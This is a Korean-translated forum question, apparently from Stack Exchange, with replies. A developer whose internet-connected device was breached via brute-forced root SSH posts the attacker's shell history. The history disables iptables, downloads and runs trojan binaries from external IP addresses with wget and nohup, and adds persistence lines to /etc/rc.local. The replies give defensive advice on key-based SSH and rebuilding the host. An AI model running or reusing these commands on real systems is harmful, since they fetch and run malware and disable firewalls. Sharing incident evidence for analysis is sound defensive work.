소비자 제품을 개발 중이며 인터넷에 연결되어 있어야하므로 예상대로 인터넷에 연결되어 올바르게 개발할 수 있습니다.
나는 한두 시간 동안 떠났고, 사무실로 돌아 왔을 때 터미널에 쓰여진 이상한 명령을 발견했습니다.
리눅스 로그 파일을 보면 auth.log다음과 같은 줄을 볼 수 있습니다.
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
IP 주소 40.127.205.162는 Microsoft 가 소유 한 것으로 판명되었습니다 .
내가없는 동안 사용 된 명령은 다음과 같습니다.
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 chmod 777 yjz1
361 ./yjz1
362 chmod 0755 /tmp/yjz1
363 nohup /tmp/yjz1 > /dev/null 2>&1 &
364 chmod 0777 yjz1
365 chmod u+x yjz1
366 ./yjz1 &
367 chmod u+x yjz1
368 ./yjz1 &
369 wget http://222.186.30.209:65534/yjz
370 chmod 0755 /tmp/yjz
371 nohup /tmp/yjz > /dev/null 2>&1 &
372 chmod 777 yjz
373 ./yjz
374 chmod 0755 /tmp/yjz
375 nohup /tmp/yjz > /dev/null 2>&1 &
376 chmod u+x yjz
377 ./yjz &
378 chmod u+x yjz
379 ./yjz &
380 cd /tmp
381 echo "cd /tmp/">>/etc/rc.local
382 service iptables stop
383 cd /tmp
384 wget http://222.186.30.209:65534/yjz1
385 chmod 0755 /tmp/yjz1
386 nohup /tmp/yjz1 > /dev/null 2>&1 &
387 chmod 777 yjz1
388 ./yjz1
389 chmod 0755 /tmp/yjz1
390 nohup /tmp/yjz1 > /dev/null 2>&1 &
391 chmod u+x yjz1
392 ./yjz1 &
393 chmod 0777 yjz1
394 ./yjz1 &
395 echo "cd /tmp/">>/etc/rc.local
396 service iptables stop
397 wget http://222.186.30.209:65534/yjz1
398 chmod 0755 /root/yjz1
399 nohup /root/yjz1 > /dev/null 2>&1 &
400 chmod 777 yjz1
401 ./yjz1
402 chmod 0755 /root/yjz1
403 nohup /root/yjz1 > /dev/null 2>&1 &
404 chmod u+x yjz1
405 ./yjz1 &
406 chmod 0777 yjz1
407 ./yjz1 &
408 echo "cd /root/">>/etc/rc.local
409 cd /tmp
410 service iptables stop
411 wget http://222.186.30.209:65534/yjz1
412 chmod 0755 /tmp/yjz1
413 nohup /tmp/yjz1 > /dev/null 2>&1 &
414 chmod 777 yjz1
415 ./yjz1 &
416 cd /etc
417 echo "cd /root/">>/etc/rc.local
418 echo "./yjz1&">>/etc/rc.local
419 echo "./yjz1&">>/etc/rc.local
420 echo "/etc/init.d/iptables stop">>/etc/rc.local
421 cd /tmp
422 service iptables stop
423 wget http://222.186.30.209:65534/yjz1
424 chmod 0755 /tmp/yjz1
425 nohup /tmp/yjz1 > /dev/null 2>&1 &
426 chmod 777 yjz1
427 ./yjz1 &
428 cd /etc
429 echo "cd /root/">>/etc/rc.local
430 echo "./yjz1&">>/etc/rc.local
431 echo "./yjz1&">>/etc/rc.local
432 echo "/etc/init.d/iptables stop">>/etc/rc.local
433 cd /tmp
434 service iptables stop
435 wget http://222.186.30.209:65534/yjz1
436 chmod 0755 /tmp/yjz1
437 nohup /tmp/yjz1 > /dev/null 2>&1 &
438 chmod 777 yjz1
439 ./yjz1 &
440 cd /etc
441 echo "cd /root/">>/etc/rc.local
442 echo "./yjz1&">>/etc/rc.local
443 echo "./yjz1&">>/etc/rc.local
444 echo "/etc/init.d/iptables stop">>/etc/rc.local
445 service iptables stop
446 wget http://222.186.30.209:65534/yjz1
447 chmod 0755 /root/yjz1
448 nohup /root/yjz1 > /dev/null 2>&1 &
449 chmod 777 yjz1
450 ./yjz1
451 chmod 0755 /root/yjz1
452 nohup /root/yjz1 > /dev/null 2>&1 &
453 chmod 0777 yjz1
454 chmod u+x yjz1
455 ./yjz1 &
456 chmod u+x yjz1
457 ./yjz1 &
그리고 더:
481 service iptables stop
482 wget http://222.186.30.209:65534/yjz1
483 chmod 0755 /root/yjz1
484 nohup /root/yjz1 > /dev/null 2>&1 &
485 chmod 777 yjz1
486 ./yjz1
487 chmod 0755 /root/yjz1
488 nohup /root/yjz1 > /dev/null 2>&1 &
489 chmod 0777 yjz1
490 chmod u+x yjz1
491 ./yjz1 &
492 chmod u+x yjz1
493 ./yjz1 &
494 cd /tmp
495 service iptables stop
496 wget http://175.102.133.55:2/yjz
497 ./yd_cd/make
498 service iptables stop
499 service iptables stop
500 wget http://222.186.30.209:65534/yjz1
나는 이것을 완전히 몰랐다. 제품을 올바르게 보호하려면 어떻게해야합니까?
완전한 auth.log파일 을 게시하고 싶습니다 . 어떻게합니까?
또한 yjz1다운로드 된 파일 은 Linux 트로이 목마 인 것으로 보이며 http://anti-hacker-alliance.com/index.php?ip=40.127.205.162 에 따르면 일종의 해커 그룹에서 수행 한 것으로 보입니다.
Microsoft에 전화해서 이야기해야합니까? 어떻게해야합니까?
40
그래, 너무 좋아 보이지 않아. 나는 어떤 방법 으로든 리눅스 전문가가 아니지만 거기에서 무언가를 실행하려고 시도했습니다. 루트로 로그인을 시도했지만 실패한 것처럼 보이지만 확실하지 않습니다. auth.log에 다른 로그가 있습니까? 다른 원격 관리 수단이 있습니까? SSH 시도처럼 보이지만 VNC 서버가 활성화 된 Mac의 경우 해킹당하는 것을 보았습니다. 다운로드 한 IP가 중국 어딘가에 호스팅되어있는 것 같습니다.
—
Jonno
당신은 무차별 강요당했습니다. 이것이 암호가 있어도 인터넷에 ssh 서버를 두지 않는 이유입니다. 키 기반 인증이 부족한 것은 요즘 충분히 안전하지 않습니다.
—
Journeyman Geek
우리는 security.stackexchange.com 을 가지고 있습니다 . 그러나 가장 먼저 : 손상된 호스트는 더 이상 신뢰할 수 없습니다. 네트워크에서 분리하십시오. 가능하면 백업을 수행하여 수행 한 작업과 수행 방법을 조사 할 수 있습니다. 그런 다음 깨끗한 소스에서 OS를 다시 설치하십시오. 백업에서 데이터를 복원하십시오. 다시 감염되지 않도록 시스템을 보호 하십시오. 그들이 어떻게 들어 왔는지 알아내는 것이 좋습니다. (따라서 감염된 시스템의 복사본을 만드는 것이 좋습니다).
—
Hennes
참고 : 40.127.205.162는 GeoIP에 따른 Microsoft Azure IP 주소입니다. 결과적으로 공격에 대해 Microsoft를 비난 할 수 없습니다. 누군가 EC2를 스팸으로 사용했기 때문에 Amazon을 비난하는 것과 같습니다. Microsoft가 실제로 할 수있는 유일한 일은 공격자를 Azure에서 쫓아내는 것입니다. 그러나 그들은 곧 다른 클라우드 플랫폼으로 돌아올 것입니다.
—
nneonneo 2019
사실, 이것이 당신의 터미널에 쓰여졌다면, 해커는 아마도 다음 칸막이에 앉아있을 것입니다.
—
isanae